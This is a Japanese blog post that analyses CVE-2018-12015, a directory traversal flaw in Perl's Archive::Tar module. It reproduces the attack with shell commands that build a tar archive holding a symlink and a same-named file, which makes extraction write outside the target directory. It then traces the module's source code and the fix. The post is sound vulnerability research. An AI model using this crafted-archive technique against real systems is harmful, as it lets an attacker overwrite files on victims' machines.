knqyf263's blog

自分のためのメモとして残しておくためのブログ。

PerlのArchive::Tarの脆弱性(CVE-2018-12015)について調べてみた

概要

少し前ですが、PerlのArchive::Tarモジュールにディレクトリトラバーサル脆弱性が見つかりました(CVE-2018-12015)。

oss-sec: Perl: CVE-2018-12015: Archive::Tar: directory traversal vulnerability

この脆弱性RedHatのページでCVSSスコア5.4とかなので特別高いわけではなく世間的にも全く話題になっていないのですが、どうやってこの脆弱性が起きるのか気になってしまったので調べました。

#Zip Slipの方じゃなくて全く話題になってないやつです。

実験

とりあえず試してみます。上のページに攻撃方法が載っています。

$ tar -tvvf traversal.tar.gz
lrwxrwxrwx root/root         0 2018-06-05 18:55 moo -> /tmp/moo
-rw-r--r-- root/root         4 2018-06-05 18:55 moo

$ pwd
/home/jwilk

$ ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'

$ ls /tmp/moo
/tmp/moo

どうやら同じファイル名でtar.gzに入れてその片方をシンボリックリンクにしておくと、その向き先にもう一つのファイルの内容を書き込めるようです。

ではまず適当にシンボリックリンクを作ります。

$ ln -s /tmp/moo moo

そして次に同じファイル名を...と思って気づいたのですが、普通にやるとファイルシステム的には同じファイル名を許容しないので作れない。。

tarの内部的にはヘッダーのnameに入るだけだと思うので同じnameでも許容されるであろうことは直感的には分かるのですが、作り方は知りませんでした。 プログラム書けば出来るだろうけど、面倒だしな...と思っていて調べたらtarのtransformオプションに気づきました。 こいつを使えばアーカイブ時にパス名を書き換えられるようです。

$  cat <<EOF > foo
#!/bin/sh

echo foo
EOF

$ tar zcvf traversal.tar.gz * --transform='s/foo/moo/g'
foo
moo

中身を確認してみます。

$ tar -tvvf traversal.tar.gz
-rw-r--r-- root/root        20 2018-06-27 00:39 moo
lrwxrwxrwx root/root         0 2018-06-27 00:00 moo -> /tmp/moo

無事に同じファイルで書き込めました。 あとはPerlを実行するだけです。

$ ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
Making symbolic link '/root/traversal/moo' to '/tmp/moo' failed at -e line 1.

$ cat /tmp/moo
#!/bin/sh

echo foo

ということで無事に成功しました。

詳細

何でこんな事が起きるんだっけ?ということを確認します。 以下で今回の脆弱性について話されているようです。

Bug #125523 for Archive-Tar: CVE-2018-12015 directory traversal vulnerability

Perl全然詳しくないのでモジュールのソースコード見たい場合はどこを見るのが正しいかすら知らないのですが、GitHubに見つけたのでこれを使って調査します(どこかのミラーなんですかね)。

GitHub - jib/archive-tar-new

今回の脆弱性の修正箇所は以下にあります。

github.com

    if (-l $full || -e _) {
    if (!unlink $full) {
        $self->_error( qq[Could not remove old file '$full': $!] );
        return;
    }
    }

Perlは相変わらず省略が多くて読みにくいですが、 -l $full のところではファイルがシンボリックリンクか確認しています。 また、 -e _ では、 _ が直前にファイルテスト演算子でテストしたファイルになるようなので、 $full が存在するかの確認になるようです。

つまり、ファイルがシンボリックリンクだったり既に存在しているようであれば削除するという処理になります。

次に、この下の処理を確認してみます。

if( length $entry->type && $entry->is_file ) {
        my $fh = IO::File->new;
        $fh->open( $full, '>' ) or (
            $self->_error( qq[Could not open file '$full': $!] ),
            return
        );

        if( $entry->size ) {
            binmode $fh;
            syswrite $fh, $entry->data or (
                $self->_error( qq[Could not write data to '$full'] ),
                return
            );
        }

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L862-L875

$full をopenして、そこに $entry->data を書き込んでいることが分かります。 ソースコードを読むだけでは面白くないので、実行して中身を見てみます。

適当にopenの前とかにDumperを挟んでみます。

print Dumper $full;
$fh->open( $full, '>' ) or (
...

インストール方法はREADMEに書いてあります。

perl Makefile.PL
make
make test (optional but recommended)
make install

この状態で再度実行します。

$ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
$VAR1 = '/root/traversal/moo';

$full には単にファイルのフルパスが入っているようです。

次に $entry も見てみます。

$VAR1 = bless( {
                 'chksum' => 4336,
                 'raw' => 'moo0000644000000000000000000000002413307364634010360 0ustar  rootroot',
                 'mode' => 420,
                 'version' => ' ',
                 'gid' => 0,
                 'data' => '#!/bin/sh

echo foo
',
                 'magic' => 'ustar',
                 'name' => 'moo',
                 'uname' => 'root',
                 'type' => '0',
                 'devmajor' => 0,
                 'size' => 20,
                 'linkname' => '',
                 'prefix' => '',
                 'mtime' => 1528687004,
                 'devminor' => 0,
                 'uid' => 0,
                 'gname' => 'root'
               }, 'Archive::Tar::File' );

tarのヘッダに入っているような情報が含まれているようです。 そして実際のデータは data の中に入っていました。

シンボリックリンクの方は以下のようになっており、 linkname にリンクされている先が入っているようです。

$VAR1 = bless( {
                 'name' => 'moo',
                 'gid' => 0,
                 'magic' => 'ustar',
                 'raw' => 'moo0000777000000000000000000000000013314551645011671 2/tmp/mooustar  rootroot',
                 'mode' => 511,
                 'chksum' => 5049,
                 'version' => ' ',
                 'linkname' => '/tmp/moo',
...

一応 $full がどこから来ているかも確認しておきます。

my $full = File::Spec->catfile( $dir, $file );

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L841

単に $dir$file を結合しているだけのようです、

$file は以下のように $name から来ており、これは $entry から来ているので、結局ヘッダ内の情報を使っているようです。

if ( defined $alt ) { # It's a local-OS path
    ($vol,$dirs,$file) = File::Spec->splitpath(       $alt,
                                                      $entry->is_dir );
} else {
    ($vol,$dirs,$file) = File::Spec::Unix->splitpath( $name,
                                                      $entry->is_dir );
}

https://github.com/jib/archive-tar-new/blob/ae65651eab053fc6dc4590dbb863a268215c1fc5/lib/Archive/Tar.pm#L696-L702

つまりまとめると、以下のような流れになります。

1つめのmoo(シンボリックリンク

  1. mooというファイル名(正確にはパスも含む)をヘッダから取り出す
  2. mooというファイルをopenする(存在しないので新規作成)
  3. linknameを使ってシンボリックリンクを生成する

2つめのmoo(実際のファイル)

  1. mooというファイル名をヘッダから取り出す
  2. mooというファイルをopenする
  3. しかしmooは既に存在するので、上で作ったシンボリックリンクをopenしたことになる
  4. その中にdataを書き込む
  5. リンクされた先(上記では /tmp/moo )に書き込まれる

ポイントとしてはnameとdataが分離されて保存されているところかと思います。同じnameでopen処理をすると最初に作られたファイルがopenされてしまいそこにdataが書き込まれる、というのが分かれば特に難しい脆弱性ではありません。分かれば簡単、といういつものパターンです。

雑に言えばmooというファイルにfooって書き込もうとしたら、既にmooが存在していて /tmp/mooシンボリックリンクがはられていたので、そっちにfooが書き込まれてしまった、というイメージですね。

$ ln -s /tmp/moo moo
$ echo foo > moo
$ cat /tmp/moo
foo

まとめ

tarを解凍するときにディレクトリトラバーサルできるという脆弱性について調べました。 シンボリックリンクと同じファイル名でアーカイブしておくと、その内容がシンボリックリンクの先に書き込まれます。

実際にモジュールを動かしながら検証すると色々気づきがあって面白かったです。 最初に脆弱性概要を見たときにはぱっとイメージが沸かなかったので、今回少し賢くなりました。